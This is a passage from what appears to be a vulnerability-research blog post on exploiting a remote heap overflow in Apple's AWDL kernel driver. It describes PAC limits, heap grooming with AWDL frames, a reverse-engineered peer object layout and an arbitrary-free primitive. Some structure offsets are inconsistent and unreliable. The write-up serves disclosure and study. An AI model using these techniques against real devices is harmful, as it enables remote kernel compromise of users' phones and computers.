\n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghJYlMZO39dQCcx-CRjqIXQt4pzOpez-D-6NNdNxl-0HiXMpLMBf3QJ2DLQWbJWa_7K0nIER2cRGa7Ve1cCCEYJHJiI6CG22WBphvquW8xSmDcGvi9UrunRag6eh65M2r7jikzCao0us4-lV3ePOgWoyvAGy289phZonLjPBN7k1EUX0HsYRBXr1TW/s624/image2%2815%29.png>)\n\n### Diagrammatic view of a C++ virtual call in ARM64e showing the keys and discriminators used\n\n \n\n\nWhat does that mean in practice?\n\n** \n**\n\nIf we don't have a signing gadget, then we can't trivially point a vtable pointer to an arbitrary address. Even if we could, we'd need a data and instruction family signing gadget with control over the discriminator.\n\n** \n**\n\nWe can swap a vtable pointer with any other A-family 0-context data key signed pointer, however the virtual function pointer itself is signed with a context value consisting of the address of the vtable entry and a hash of the virtual function prototype. This means we can't swap virtual function pointers from one vtable into another one (or more likely into a fake vtable to which we're able to get an A-family data key signed pointer.)\n\n** \n**\n\nWe can swap one vtable pointer for another one to cause a type confusion, however every virtual function call made through that vtable pointer would have to be calling a function with a matching prototype hash. This isn't so improbable; a fundamental building block of object-oriented programming in C++ is to call functions with matching prototypes but different behaviour via a vtable. Nevertheless you'd have to do some thinking to come up with a generic defeat using this approach.\n\n** \n**\n\nAn important observation is that the vtable pointers themselves have no address diversity; they're signed with a zero-context. This means that if we can disclose a signed vtable pointer for an object of type A at address X, we can overwrite the vtable pointer for another object of type A at a different address Y.\n\n** \n**\n\nThis might seem completely trivial and uninteresting but remember: we only have a linear heap buffer overflow. If the vtable pointer had address diversity then for us to be able to safely corrupt fields after the vtable in an adjacent object we'd have to first disclose the exact vtable pointer following the object which we can overflow out of. Instead we can disclose any vtable pointer for this type and it will be valid.\n\n** \n**\n\nThe [clang design doc explains why this is](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>):\n\n** \n**\n\nIt is also known that some code in practice copies objects containing v-tables with memcpy, and while this is not permitted formally, it is something that may be invasive to eliminate.\n\n** \n**\n\nRight at the end of this document they also say \"attackers can be devious.\" On A12 and above we can no longer trivially point the vtable pointer to a fake vtable and gain arbitrary PC control fairly easily. Guess we'll have to get devious :)\n\n# Some initial ideas\n\nInitially I continued using the iOS 12 beta 1 kernelcache when searching for exploitation primitives and performing the initial reversing to better understand the layout of the IO80211AWDLPeer object. This turned out to be a major mistake and a few weeks were spent following unproductive leads:\n\n** \n**\n\nIn the iOS 12 beta 1 kernelcache the fields following the sync_tree_macs buffer seemed uninteresting, at least from the perspective of being able to build a stronger primitive from the linear overflow. For this reason my initial ideas looked at corrupting the fields at the beginning of an IO80211AWDLPeer object which I could place subsequently in memory, option 2 which we saw earlier:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzMmIxENQJMC-Nk94yJw2mQA8zk7iPBFJoddFTLevNTt2KHAWsp21XDtu5MOt4E7lZkhCk6rmIGwCS9PMRGsW8ux8s02aF-sSLifgMNNwWB5SU9HnWIu9gmMNCG05nXBwxbKHsxfWt9FVP-LsUfRo50AlEaPIBTlW2MR5OLM5J_qN0Yj-vW4m46NK0/s624/image21.png>)\n\n### Spoofing many source MAC addresses makes allocating neighbouring IO80211AWDLPeer objects fairly easy. The synctree buffer overflow then allows corrupting the lower fields of an IO80211AWDLPeer in addition to the upper fields\n\n** \n**\n\nAlmost certainly we're going to need some kind of memory disclosure primitive to land this exploit. My first ideas for building a memory disclosure primitive involved corrupting the linked-list of peers. The data structure holding the peers is in fact much more complex than a linked list, it's more like a priority queue with some interesting behaviours when the queue is modified and a distinct lack of [safe unlinking](<https://msrc-blog.microsoft.com/2009/05/26/safe-unlinking-in-the-kernel-pool/>) and the like. I'd expect iOS to start slowly migrating to using data-PAC for linked-list integrity, but for now this isn't the case. In fact these linked lists don't even have the most basic safe-unlinking integrity checks yet.\n\n** \n**\n\nThe start of an IO80211AWDLPeer object looks like this:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtGgXuTgfTkey5gdoc6_lTrQERRuA4vjRm_v65WE-pu9oFx03U7IBZj8zRhI_1vqj4AInQdk6eLHHDT1sOBv3ZgcdV4IJnEVJA8S-2_sEc_NLYX7JckOQVzIJSnnthMzNhrb5pD2V8-aAlkPlSOVELZkRmJOEAOgoCsvLuIrIC845ssAfcs8VnY8ec/s495/image9%283%29.png>)\n\n### All IOKit objects inheriting from OSObject have a vtable and a reference count as their first two fields. In an IO80211AWDLPeer these are followed by a hash_bucket identifier, a peer_list flink and blink, the peer's MAC address and the peer's peer_manager pointer.\n\n** \n**\n\nMy first ideas revolved around trying to partially corrupt a peer linked-list pointer. In hindsight, there's an obvious reason why this doesn't work (which I'll discuss in a bit), but let's remain enthusiastic and continue on for now...\n\n** \n**\n\nLooking through the places where the linked list of peers seemed to be used it looked like perhaps the IO80211AWDLPeerManager::updatePeerListBloomFilter method might be interesting from the perspective of trying to get data leaked back to us. Let's take a look at it:\n\n** \n**\n\n#### IO80211AWDLPeerManager::updatePeerListBloomFilter(){\n\n#### int n_peers = this->peers_list.n_elems;\n\n#### \n\n#### if (!this->peer_bloom_filters_enabled) {\n\n#### return 0;\n\n#### }\n\n#### \n\n#### bzero(this->bloom_filter_buf, 0xA00uLL);\n\n#### this->n_macs_in_bloom_filter = 0;\n\n#### \n\n#### IO80211AWDLPeer* peer = this->peers_list.head;\n\n#### \n\n#### int n_peers_in_filter = 0;\n\n#### for (;\n\n#### n_peers_in_filter < n_peers && n_peers_in_filter < 0x100;\n\n#### n_peers_in_filter++) {\n\n#### this->bloom_filter_macs[n_peers_in_filter] = peer.mac;\n\n#### peer = peer->flink;\n\n#### }\n\n#### \n\n#### bloom_filter_create(10*(n_peers_in_filter+7) & 0xff8,\n\n#### 0,\n\n#### n_peers_in_filter,\n\n#### this->bloom_filter_macs,\n\n#### this->bloom_filter_buf);\n\n#### \n\n#### if (n_peers_in_filter){\n\n#### this->updateBroadcastMI(9, 1, 0); \n}\n\n#### \n\n#### return 0;\n\n#### }\n\n** \n**\n\nFrom the IO80211AWDLPeerManager it's reading the peer list head pointer as well as a count of the number of entries in the peer list. For each entry in the list it's reading the MAC address field into an array then builds a [bloom filter](<https://en.wikipedia.org/wiki/Bloom_filter>) from that buffer. \n\n** \n**\n\nThe interesting part here is that the list traversal is terminated using a count of elements which have been traversed rather than by looking for a termination pointer value at the end of the list (eg a NULL or a pointer back to the head element.) This means that potentially if we could corrupt the linked-list pointer of the second-to-last peer to be processed we could point it to a fake peer and get data at a controlled address added into the bloom filter. updateBroadcastMI looks like it will add that bloom filter data to the Master Indication frame in the bloom filter TLV, meaning we could get a bloom filter containing data read from a controlled address sent back to us. Depending on the exact format of the bloom filter it would probably be possible to then recover at least some bits of remote memory.\n\n** \n**\n\nIt's important to emphasize at this point that due to the lack of a remote KASLR leak and also the lack of a remote PAC signing gadget or vtable disclosure, in order to corrupt the linked-list pointer of an adjacent peer object we have no option but to corrupt its vtable pointer with an invalid value. This means that if any virtual methods were called on this object, it would almost certainly cause a kernel panic.\n\n** \n**\n\nThe first part of trying to get this to work was to work out how to build a suitable heap groom such that we could overflow from a peer into the second-to-last peer in the list which would be processed\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBRqGgtu0Cs0-QPtC4fBnohDzWh2dDLO__7Yxrgbiv4AYBGJN3x7SIe4MGK7ydqecyDyv6Xz07sst5xGukj-qB0zbqk0agysHJB8hnqvyGjQzvo_8o17CSVsODF-KEAV6sQgzjMskkbhmo34DKjAE6xaB_WA4Z3BfbZMOQNifT0koZ2PTp7JaOBl5M/s621/image10%283%29.png>)\n\n### Both the linked-list order and the virtual memory order need to be groomed to allow a targeted partial overflow of the final linked-list pointer to be traversed. In this layout we'd need to overflow from 2 into 6 to corrupt the final pointer from 6 to 7.\n\n** \n**\n\nThere is a mitigation from a few years ago in play here which we'll have to work around; namely the randomization of the initial zone freelists which adds a slight element of randomness to the order of the allocations you will get for consecutive calls to kalloc for the same size. The randomness is quite minimal however so the trick here is to be able to pad your allocations with \"safe\" objects such that even though you can't guarantee that you always overflow into the target object, you can mostly guarantee that you'll overflow into that object or a safe object.\n\n** \n**\n\nWe need two primitives: Firstly, we need to understand the semantics of the list. Secondly, we need some safe objects.\n\n# The peer list\n\nWith a bit of reversing we can determine that the code which adds peers to the list doesn't simply add them to the start. Peers which are first seen on a 2.4GHz channel (6) do get added this way, but peers first seen on a 5GHz channel (44) are inserted based on their [RSSI](<https://en.wikipedia.org/wiki/Received_signal_strength_indication>) (received signal strength indication - a unitless value approximating signal strength.) Stronger signals mean the peer is probably physically closer to the device and will also be closer to the start of the list. This gives some nice primitives for manipulating the list and ensuring we know where peers will end up.\n\n# Safe objects\n\nThe second requirement is to be able to allocate arbitrary, safe objects. Our ideal heap grooming/shaping objects would have the following primitives:\n\n** \n**\n\n1) arbitrary size\n\n2) unlimited allocation quantity\n\n3) allocation has no side effects\n\n4) controlled contents\n\n5) contents can be safely corrupted\n\n6) can be free'd at an arbitrary, controlled point, with no side effects\n\n** \n**\n\nOf course, we're completely limited to objects we can force to be allocated remotely via AWDL so all the tricks from local kernel exploitation don't work. For example, I and others have used various forms of mach messages, unix pipe buffers, OSDictionaries, IOSurfaces and more to build these primitives. None of these are going to work at all. AWDL is sufficiently complicated however that after some reversing I found a pretty good candidate object.\n\n# Service response descriptor (SRD)\n\nThis is my reverse-engineered definition of the services response descriptor TLV (type 2):\n\n** \n**\n\n#### { u8 type\n\n#### u16 len\n\n#### u16 key_len\n\n#### u8 key_val[key_len]\n\n#### u16 value_total_size\n\n#### u16 fragment_offset\n\n#### u8 fragment[len-key_len-6] }\n\n** \n**\n\nIt has two variable-sized fields: key_val and fragment. The key_length field defines the length of the key_val buffer, and the length of fragment is the remaining space left at the end of the TLV. The parser for this TLV makes a kalloc allocation of val_length, an arbitrary u16. It then memcpy's from fragment into that kalloc buffer at offset frag_offset:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUbCREs8-c1_Cq7W-oMLSMygddfZc1uDZpP1xq9g9Sa7dK0i9ygiajhJtigHL6EsvytW_wZGR0Rop-67jYyD9_DS8T78YoL5JG9NxpJkDiCGhbo9BqxUqLb6lhzWpmLyy10UlgPacRsYkXERW9h4COoffWGGp4bM7dRy9uOmas6F0ET50y1GxG2Z5X/s624/image22.png>)\n\n### The service_response technique gives us a powerful heap grooming primitive\n\n** \n**\n\nI believe this is supposed to be support for receiving out-of-order fragments of service request responses. It gives us a very powerful primitive for heap grooming. We can choose an arbitrary allocation size up to 64k and write an arbitrary amount of controlled data to an arbitrary offset in that allocation and we only need to provide the offset and content bytes.\n\n** \n**\n\nThis also gives us a kind of amplification primitive. We can bundle quite a lot of these TLVs in one frame allowing us to make megabytes of controlled heap allocations with minimal side effects in just one AWDL frame.\n\n** \n**\n\nThis SRD technique in fact almost completely meets criteria 1-5 outlined above. It's almost perfect apart from one crucial point; how can we free these allocations?\n\n** \n**\n\nThrough static reversing I couldn't find how these allocations would be free'd, so I wrote a dtrace script to help me find when those exact kalloc allocations were free'd. Running this dtrace script then running a test AWDL client sending SRDs I saw the allocation but never the free. Even disabling the AWDL interface, which should clean up most of the outstanding AWDL state, doesn't cause the allocation to be freed.\n\n** \n**\n\nThis is possibly a bug in my dtrace script, but there's another theory: I wrote another test client which allocated a huge number of SRDs. This allocated a substantial amount of memory, enough to be visible using zprint. And indeed, running that test client repeatedly then running zprint you can observe the inuse count of the target zone getting larger and larger. Disabling AWDL doesn't help, neither does waiting overnight. This looks like a pretty trivial memory leak.\n\n** \n**\n\nLater on we'll examine the cause of this memory leak but for now we have a heap allocation primitive which meets criteria 1-5, that's probably good enough!\n\n# A first attempt at a useful corruption\n\nI managed to build a heap groom which gets the linked-list and heap objects set up such that I can overflow into the second-to-last peer object to be processed:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3ijcF88NWDCpC4mLLn1MzAwmUmwD5RgD5oV04cLuGYGH2x4eXFXZjl5gBAUOhV-f67DA5JQ-pr0j3gLX7e8BwZp3ToQYoZ-q1JGkAwFt-0IOpiwgC7VtORUFF3oXZMZjCV7qmJkoCfTspJDIJ5Zz4bVlEm6cBQwo73yNbBGXrUDAzxHoyddq557p-/s624/image16%281%29.png>)\n\n### By surrounding peer objects with a sufficient number of safe objects we can ensure that the linear corruption either hits the right peer object or a safe object\n\n** \n**\n\nThe trick is to ensure that the ratio of safe objects to peers is sufficiently high that you can be (reasonably) sure that the two target peers will only be next to each other or next to safe objects (they won't be next to other peers in the list.) Even though you may not be able to force the two peers to be in the correct order as shown in the diagram, you can at least make the corruption safe if they aren't, then try again.\n\n** \n**\n\nWhen writing the code to build the SyncTree TLV I realized I'd made a huge oversight...\n\n** \n**\n\nMy initial idea had been to only partially overwrite a valid linked-list pointer element:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Z7ILqAYibWupU2l2NP_Egz61J463yUkDE6RoiA5Ib6oJajtvltvXLujOcMJqzB0fHi47UpB-qj6Uneb-7IQXbVfGUxG4LAfyLwY9JmTkkjtC7VVZq6kyJtshXJWQ6WQiN7miVsG50cfwoc0Wz8AezUad6ev3gCux5CLD4JYcLl8aJ-wqf3jzpxpG/s494/image12%285%29.png>)\n\n### If we could partially overflow the peer_list_flink pointer we could potentially move it to point it somewhere nearby. In this illustration by moving it down by 8 bytes we could potentially get some bytes of a peer_list_blink added to the peer MACs bloom filter. A partial overwrite doesn't directly give a relative add or subtract primitive, but with some heap grooming overwriting the lower 2 bytes can yield something similar\n\n** \n**\n\nBut when you actually look more closely at the memory layout taking into account the limitations of the corruption primitive:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7QcTirSl_Z5pqqL39FrnzDRcozl3lIakQMZNnBxSq_sXIzoJVmZw2CTTt5zfxd6NADgdKfivEdq6lPZ6Z6XhRjk-m4kCQcZvmw0shxYZ_FvQds53uuOtpZZhx8-amYTviI8QOCEfZeh-_u-PwKxzsmvTdnE921TJ9qed3TiuR9oPIsgi3sHXVlerd/s494/image14%283%29.png>)\n\n### Computing the relative offsets between two IO80211AWDLPeers next to each other in memory it turns out that a useful partial overwrite of peer_list_flink isn't possible as it lies on a 6-byte boundary from the lower peer's sync_tree_macs array\n\n** \n**\n\nThis is not a useful type of partial overwrite and it took a lot of effort to make this heap groom work only to realize in hindsight this obvious oversight.\n\n** \n**\n\nAttempting to salvage something from all this work I tried instead to just completely overwrite the linked-list pointer. We'd still need some other vulnerability or technique to determine what we should overwrite with but it would at least be some progress to see a read or write from a controlled address.\n\n** \n**\n\nAlas, whilst I'm able to do the overflow, it appears that the linked-list of peers is being continually traversed in the background even when there's no AWDL traffic and virtual methods are being called on each peer. This will make things significantly harder without first knowing a vtable pointer.\n\n** \n**\n\nAnother option would be to trigger the SyncTree overflow twice during the parsing of a single frame. Recall the code in actionFrameReport: \n\n** \n**\n\n#### IO80211AWDLPeer::actionFrameReport\n\n#### ...\n\n#### case 0x14:\n\n#### if (tlv_cnt[0x14] >= 2)\n\n#### goto ERR;\n\n#### tlv_cnt[0x14]++;\n\n#### this->parseAwdlSyncTreeTLV(bytes);\n\n** \n**\n\nI explored places where a TLV would trigger a peer list traversal. The idea would then be to sandwich a controlled lookup between two SyncTree TLVs, the first to corrupt the list and the second to somehow make that safe. There were some code paths like this, where we could cause a controlled peer to be looked up in the peer list. There were even some places where we could potentially get a different memory corruption primitive from this but they looked even trickier to exploit. And even then you'd not be able to reset the peer list pointer with the second overflow anyway.\n\n# Reset\n\nThus far none of my ideas for a read panned out; messing with the linked list without a correctly PAC'd vtable pointer just doesn't seem feasible. At this point I'd probably consider looking for a second vulnerability. For example, in Natalie's recent WebRTC exploit she was able to [find a second vulnerability to defeat ASLR](<https://googleprojectzero.blogspot.com/2020/08/exploiting-android-messengers-part-2.html>).\n\n** \n**\n\nThere are still some other ideas left open but they seem tricky to get right:\n\n** \n**\n\nThe other major type of object in the kalloc.6144 zone are ipc_kmsg's for some IOKit methods. These are in-flight mach messages and it might be possible to corrupt them such that we could inject arbitrary mach messages into userspace. This idea seems mostly to create new challenges rather than solve any open ones though.\n\n** \n**\n\nIf we don't target the same zone then we could try a cross-zone attack, but even then we're quite limited by the primitives offered by AWDL. There just aren't that many interesting objects we can allocate and manipulate.\n\n** \n**\n\nBy this point I've invested a lot of time into this project and am not willing to give up. I've also been hearing very faint whispers that I might have accidentally stumbled upon an attack surface which is being actively exploited. Time to try one more thing...\n\n# Getting up to date\n\nUp until this point I'd been doing most of my reversing using the partially symbolized iOS 12 beta 1 kernelcache. I had done a considerable amount of reversing engineering to build up a reasonable idea of all the fields in the IO80211AWDLPeer object which I could corrupt and it wasn't looking promising. But this vulnerability was only going to get patched in iOS 13.3.1.\n\n** \n**\n\nCan they have added new fields in iOS 13? It seemed unlikely but of course worth a look.\n\n** \n**\n\nHere's my reverse-engineered structure definition for IO80211AWDLPeer in iOS 13.3/MacOS 10.15.2:\n\n** \n**\n\n#### struct __attribute__((packed)) __attribute__((aligned(4))) IO80211AWDLPeer {\n\n#### /* +0x0000 */ void *vtable;\n\n#### /* +0x0008 */ uint32_t ref_cnt;\n\n#### /* +0x000C */ uint32_t bucket;\n\n#### /* +0x0010 */ void *peer_list_flink;\n\n#### /* +0x0018 */ void *peer_list_blink;\n\n#### /* +0x0020 */ struct ether_addr peer_mac;\n\n#### /* +0x0026 */ uint8_t pad1[2];\n\n#### /* +0x0028 */ struct IO80211AWDLPeerManager *peer_manager;\n\n#### /* +0x0030 */ uint8_t pad8[384];\n\n#### /* +0x01B0 */ uint16_t HT_FLAGS;\n\n#### /* +0x01B2 */ uint8_t HT_features[26];\n\n#### /* +0x01CC */ uint8_t HT_caps;\n\n#### /* +0x01CD */ uint8_t pad10[14];\n\n#### /* +0x01DB */ uint8_t VHT_caps;\n\n#### /* +0x01DC */ uint8_t pad9[732];\n\n#### /* +0x0418 */ uint8_t added_to_fw_cache;\n\n#### /* +0x04B9 */ uint8_t is_on_correct_infra_channel;\n\n#### /* +0x04BA */ uint8_t pad0[6];\n\n#### /* +0x04C0 */ uint32_t nsync_total_len;\n\n#### /* +0x0404 */ uint8_t nsync_tlv_buf[64];\n\n#### /* +0x0504 */ uint32_t flags_from_dp_tlv;\n\n#### /* +0x0508 */ uint8_t pad14[19];\n\n#### /* +0x051B */ uint32_t n_sync_tree_macs;\n\n#### /* +0x0517 */ uint8_t pad20[126];\n\n#### /* +0x059D */ uint8_t peer_infra_channel;\n\n#### /* +0x059E */ struct ether_addr peer_infra_mac;\n\n#### /* +0x05A4 */ struct ether_addr some_other_mac;\n\n#### /* +0x05AA */ uint8_t country_code[3];\n\n#### /* +0x05AD */ uint8_t pad5[41];\n\n#### /* +0x05D6 */ uint16_t social_channels;\n\n#### /* +0x0508 */ uint64_t last_AF_timestamp;\n\n#### /* +0x05E0 */ uint8_t pad17[116];\n\n#### /* +0x0654 */ uint8_t chanseq_encoding;\n\n#### /* +0x0655 */ uint8_t chanseq_count;\n\n#### /* +0x0656 */ uint8_t chanseq_step_count;\n\n#### /* +0x0657 */ uint8_t chanseq_dup_count;\n\n#### /* +0x0658 */ uint8_t pad19[4];\n\n#### /* +0x0650 */ uint16_t chanseq_fill_channel;\n\n#### /* +0x065E */ uint8_t chanseq_channels[32];\n\n#### /* +0x067E */ uint8_t pad2[64];\n\n#### /* +0x06BE */ uint8_t raw_chanseq[64];\n\n#### /* +0x06FE */ uint8_t pad18[194];\n\n#### /* +0x07C0 */ uint64_t last_UMI_update_timestamp;\n\n#### /* +0x0708 */ struct IO80211AWDLPeer *UMI_chain_flink;\n\n#### /* +0x07D0 */ uint8_t pad16[8];\n\n#### /* +0x07D8 */ uint8_t is_in_umichain;\n\n#### /* +0x0709 */ uint8_t pad15[79];\n\n#### /* +0x0828 */ uint8_t datapath_tlv_flags_bit_5_dualband;\n\n#### /* +0x0829 */ uint8_t pad12[2];\n\n#### /* +0x082B */ uint8_t SDB_mode;\n\n#### /* +0x082C */ uint8_t pad6[28];\n\n#### /* +0x0848 */ uint8_t did_parse_datapath_tlv;\n\n#### /* +0x0849 */ uint8_t pad7[1011];\n\n#### /* +0x0C3C */ uint32_t UMI_feature_mask;\n\n#### /* +0x0C40 */ uint8_t pad22[2568];\n\n#### /* +0x1648 */ struct ether_addr sync_tree_macs[10]; // overflowable\n\n#### /* +0x1684 */ uint8_t sync_error_count;\n\n#### /* +0x1685 */ uint8_t had_chanseq_tlv;\n\n#### /* +0x1686 */ uint8_t pad3[2];\n\n#### /* +0x1688 */ uint64_t per_second_timestamp;\n\n#### /* +0x1690 */ uint32_t n_frames_in_last_second;\n\n#### /* +0x1694 */ uint8_t pad21[4];\n\n#### /* +0x1698 */ void *steering_msg_blob; // NEW FIELD\n\n#### /* +0x16A0 */ uint32_t steering_msg_blob_size; // NEW FIELD\n\n#### }\n\n### The layout of fields in my reverse-engineered version of IO80211AWDLPeer. You can define and edit structures in C-syntax like this using the Local Types window in IDA: right-clicking a type and selecting \"Edit...\" brings up an interactive edit window; it's very helpful for reversing complex data structures such as this.\n\n** \n**\n\nThere are new fields! In fact, there's a new pointer field and length field right at the end of the IO80211AWDLPeer object. But what is a steering_msg_blob? What is BSS Steering?\n\n# BSS Steering\n\nLet's take a look at where the steering_msg_blob pointer is used.\n\n** \n**\n\nIt's allocated in IO80211AWDLPeer::populateBssSteeringMsgBlob, via the following call stack:\n\n** \n**\n\n#### IO80211PeerBssSteeringManager::processPostSyncEvaluation\n\n#### IO80211PeerBssSteeringManager::bssSteeringStateMachine\n\n** \n**\n\nbssSteeringStateMachine is called from many places, including IO80211AWDLPeer::actionFrameReport when it parses a BSS Steering TLV (type 0x1d), so it looks like we can indeed drive this state machine remotely somehow.\n\n** \n**\n\nThe steering_msg_blob pointer is freed in IO80211AWDLPeer::freeResources when the IO80211AWDLPeer object is destroyed:\n\n** \n**\n\n#### steering_msg_blob = this->steering_msg_blob;\n\n#### if ( steering_msg_blob )\n\n#### {\n\n#### kfree(steering_msg_blob, this->steering_msg_blob_size);\n\n** \n**\n\nThis gives us our first new primitive: an arbitrary free. Without needing to reverse any of the BSS Steering code we can quite easily overflow from the sync_tree_macs field into the steering_msg_blob and steering_msg_blog_size fields, setting them to arbitrary values.\n\n** \n**\n\nIf we then wait for the peer to timeout and be destroyed, when ::freeResources is called it will call kfree with our arbitrary pointer and size.\n\n** \n**\n\nThe steering_msg_blob is also used in one more place:\n\n** \n**\n\nIn IO80211AWDLPeerManager::handleUmiTimer the IO80211AWDLPeerManager walks a linked-list of peers (a separate linked-list from that used to store all the peers) and from each of the peers in that list it checks whether that peer and the current device are on the same channel and in an availability window:\n\n** \n**\n\n#### if ( peer_manager->current_channel_ == peer->chanseq_channels[peer_manager->current_chanseq_step] ) {\n\n#### ...\n\n** \n**\n\nIf the UMI timer has indeed fired when both this device and the peer from the UMI list are on the same channel in an overlapping availability window then the IO80211AWDLPeerManager removes the peer from the UMI list, reads the bss_steering_blob from the peer and passes it as the last argument to the peer's::sendUnicastMI method.\n\n** \n**\n\nThis passes that blob to IO80211AWDLPeerManager::buildMasterIndicationTemplate to build an AWDL master indication frame before attempting to transmit it.\n\n** \n**\n\nLet's look at how buildMasterIndicationTemplate uses the steering_msg_blob:\n\n** \n**\n\nThe third argument to buildMasterIndicationTemplate is is_unicast_MI which indicates whether this method was called by IO80211AWDLPeerManager::sendUnicastMI (which sets it to 1) or IO80211AWDLPeerManager::updatePrimaryPayloadMI (which sets it to 0.)\n\n** \n**\n\nIf buildMasterIndicationTemplate was called to build a unicast MI frame and the peer's feature_mask field has 0xD'th bit set then the steering_msg_blob will be passed to IO80211AWDLPeerManager::buildMultiPeerBssSteeringTlv. This method reads a size from the second dword in the steering_msg_blob and checks whether it is smaller than the remaining space in the frame template buffer; if it is, then that size value is used to copy that number of bytes from the steering_msg_blob pointer into a TLV (type 0x1d) in the template frame which will then be sent out over the air!\n\n** \n**\n\nThere's clearly a path here to get a semi-arbitrary read; but actually triggering it will require quite a bit more reversing. We need the UMI timer to be firing and we also need to get a peer into the UMI linked list.\n\n# BSS steering state machine\n\nAt this point a sensible question to ask is, what exactly is BSS Steering? A bit of googling tells us that it's part of [802.11v](<https://support.apple.com/en-us/HT202628>); a set of management standards for enterprise networks. One of the advanced features of enterprise networks is the ability to seamlessly move devices between different access points which form part of the same network; for example when you walk around the office with your phone or if there are too many devices associated with one access point. AWDL isn't part of 802.11v. My best guess as to what's happening here is that AWDL is driving the 802.11v AP roaming code to try to move AWDL clients on to a common infrastructure network. I think this code was added to support [Sidecar](<https://support.apple.com/en-us/HT210380>), but everything below is based only on static reversing.\n\n** \n**\n\nIO80211PeerBssSteeringManager::bssSteeringStateMachine is responsible for driving the BSS steering state machine. The first argument is a bssSteeringEvent enum value representing an event which the state machine should process. Using the IO80211PeerBssSteeringManager::getEventName method we can determine the names for all the events which the state machine will process and using the IO80211PeerBssSteeringManager::getStateName method we can determine the names of the states which the state machine can be in. Again using the local types window in IDA we can define enums for these which will make the HexRays decompiler output much more readable:\n\n** \n**\n\n#### enum BSSSteeringState\n\n#### {\n\n#### BSS_STEERING_STATE_IDLE = 0x0,\n\n#### BSS_STEERING_STATE_PRE_STEERING_SYNC_EVAL = 0x1,\n\n#### BSS_STEERING_STATE_ASSOCIATION_ONGOING = 0x2,\n\n#### BSS_STEERING_STATE_TX_CONFIRM_AWAIT = 0x3,\n\n#### BSS_STEERING_STATE_STEERING_SYNC_CONFIRM_AWAIT = 0x4,\n\n#### BSS_STEERING_STATE_STEERING_SYNCED = 0x5,\n\n#### BSS_STEERING_STATE_STEERING_SYNC_FAILED = 0x6,\n\n#### BSS_STEERING_STATE_SELF_STEERING_ASSOCIATION_ONGOING = 0x7,\n\n#### BSS_STEERING_STATE_STEERING_SYNC_POST_EVAL = 0x8,\n\n#### BSS_STEERING_STATE_SUSPEND = 0x9,\n\n#### BSS_STEERING_INVALID = 0xA,\n\n#### };\n\n** \n**\n\n#### enum bssSteeringEvent\n\n#### {\n\n#### BSS_STEERING_MODE_ENABLE = 0x0,\n\n#### BSS_STEERING_RECEIVED_DIRECTED_STEERING_CMD = 0x1,\n\n#### BSS_STEERING_DO_PRESYNC_EVAL = 0x2,\n\n#### BSS_STEERING_PRESYNC_EVAL_DONE = 0x3,\n\n#### BSS_STEERING_SELF_INFRA_LINK_CHANGED = 0x4,\n\n#### BSS_STEERING_DIRECTED_STEERING_CMD_SENT = 0x5,\n\n#### BSS_STEERING_DIRECTED_STEERING_TX_CONFIRM_RXED = 0x6,\n\n#### BSS_STEERING_SYNC_CONFIRM_ATTEMPT = 0x7,\n\n#### BSS_STEERING_SYNC_SUCCESS_EVENT = 0x8,\n\n#### BSS_STEERING_SYNC_FAILED_EVENT = 0x9,\n\n#### BSS_STEERING_OVERALL_STEERING_TIMEOUT = 0xA,\n\n#### BSS_STEERING_DISABLE_EVENT = 0xB,\n\n#### BSS_STEERING_INFRA_LINK_CHANGE_TIMEOUT = 0xC,\n\n#### BSS_STEERING_SELF_STEERING_REQUESTED = 0xD,\n\n#### BSS_STEERING_SELF_STEERING_DONE = 0xE,\n\n#### BSS_STEERING_SUSPEND_EVENT = 0xF,\n\n#### BSS_STEERING_RESUME_EVENT = 0x10,\n\n#### BSS_STEERING_REMOTE_STEERING_TRIGGER = 0x11,\n\n#### BSS_STEERING_PEER_INFRA_LINK_CHANGED = 0x12,\n\n#### BSS_STEERING_REMOTE_STEERING_FAILED_EVENT = 0x13,\n\n#### BSS_STEERING_INVALID_EVENT = 0x14,\n\n#### };\n\n** \n**\n\nThe current state is maintained in a steering context object, owned by the IO80211PeerBssSteeringManager. Reverse engineering the state machine code we can come up with the following rough definition for the steering context object:\n\n** \n**\n\n#### struct __attribute__((packed)) BssSteeringCntx\n\n#### {\n\n#### uint32_t first_field;\n\n#### uint32_t service_type;\n\n#### uint32_t peer_count;\n\n#### uint32_t role;\n\n#### struct ether_addr peer_macs[8];\n\n#### struct ether_addr infraBSSID;\n\n#### uint8_t pad4[6];\n\n#### uint32_t infra_channel_from_datapath_tlv;\n\n#### uint8_t pad8[8];\n\n#### char ssid[32];\n\n#### uint8_t pad1[12];\n\n#### uint32_t num_peers_added_to_umi;\n\n#### uint8_t pad_10;\n\n#### uint8_t pendingTransitionToNewState;\n\n#### uint8_t pad7[2];\n\n#### enum BSSSteeringState current_state;\n\n#### uint8_t pad5[8];\n\n#### struct IOTimerEventSource *bssSteeringExpiryTimer;\n\n#### struct IOTimerEventSource *bssSteeringStageExpiryTimer;\n\n#### uint8_t pad9[8];\n\n#### uint32_t steering_policy;\n\n#### uint8_t inProgress;\n\n#### };\n\n** \n**\n\nOur goal here is reach IO80211AWDLPeer::populateBssSteeringMsgBlob which is called by IO80211PeerBssSteeringManager::processPostSyncEvaluation which is called when the state machine is in the BSS_STEERING_STATE_STEERING_SYNC_POST_EVAL state and receives the BSS_STEERING_PRESYNC_EVAL_DONE event.\n\n# Navigating the state machine\n\nEach time a state is evaluated it can change the current state and optionally set the stateMachineTriggeredEvent variable to a new event and set sendEventToNewState to 1. This way the state machine can drive itself forwards to a new state. Let's try to find the path to our target state:\n\n** \n**\n\nThe state machine begins in BSS_STEERING_STATE_IDLE. When we send the BSS steering TLV for the first time this injects either the BSS_STEERING_REMOTE_STEERING_TRIGGER or BSS_STEERING_RECEIVED_DIRECTED_STEERING_CMD event depending on whether the steeringMsgID in the TLV was was 6 or 0.\n\n** \n**\n\nThis causes a call 